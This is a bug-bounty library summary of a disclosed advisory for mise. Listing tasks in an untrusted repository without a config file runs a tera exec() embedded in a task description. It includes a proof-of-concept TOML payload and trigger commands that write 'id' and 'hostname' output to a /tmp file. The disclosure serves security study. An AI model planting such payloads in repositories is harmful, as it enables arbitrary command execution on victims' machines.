# Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

mise loads task-include files without trust_check when no config exists, so a tera `exec()` in a task description runs commands on mere `mise tasks` listing.

- Payout: Research
- Severity: high
- Program: mise
- Found by: miauzxw
- Disclosed: 2026-06-23
- CVE: CVE-2026-55441
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-77g9-363w-rccq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-77g9-363w-rccq
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:rust technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** mise task-include TOML files (mise-tasks/, .mise/tasks/)
**Root cause:** Trust checks exist only in config-file parsers (mise.toml, .tool-versions, env templates). When a directory has task-include dirs but no config file, load_tasks_in_dir falls back to default_task_includes() and load_task_file parses/renders tasks with no trust_check, using a tera instance that registers exec().
**Steps:**
1. Create repo with `mise-tasks/ci.toml` containing `[test]` with `description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"` and `run = "cargo test"`.
2. Use pristine HOME: `export HOME="$(mktemp -d)"` and `export MISE_TRUSTED_CONFIG_PATHS=""`.
3. `cd malicious-repo` and run `mise tasks` (or `mise task ls`, `mise run`, `mise tasks --usage`).
4. Observe task listed and `/tmp/mise_clone_proof.txt` containing `id`/`hostname` output.
**How found:** Code reading: noticed trust_check calls only in config-file parsers, then traced load_tasks_in_dir's fallback to default_task_includes() when configs_at_root is empty, and confirmed load_task_file renders tasks via get_tera which registers exec().
**Exploitation:** Victim clones an untrusted repo with a task-include dir but no config file, cds in, and lists or tab-completes tasks; tera renders the description field and exec() runs the attacker command with the victim's privileges. No trust prompt appears since there is no config to gate.
**Insight:** When a security gate is applied at one parse entrypoint, enumerate every other code path that reaches the same dangerous sink (here tera exec()) — fallback/default branches that bypass the gated config parser are prime targets, especially ones triggered by read-only listing or shell completion.

## Proof of concept (copied exactly from the original report)

**Malicious task TOML with exec() in description**

```
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"
```

**Trigger commands to execute payload**

```
export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage
```

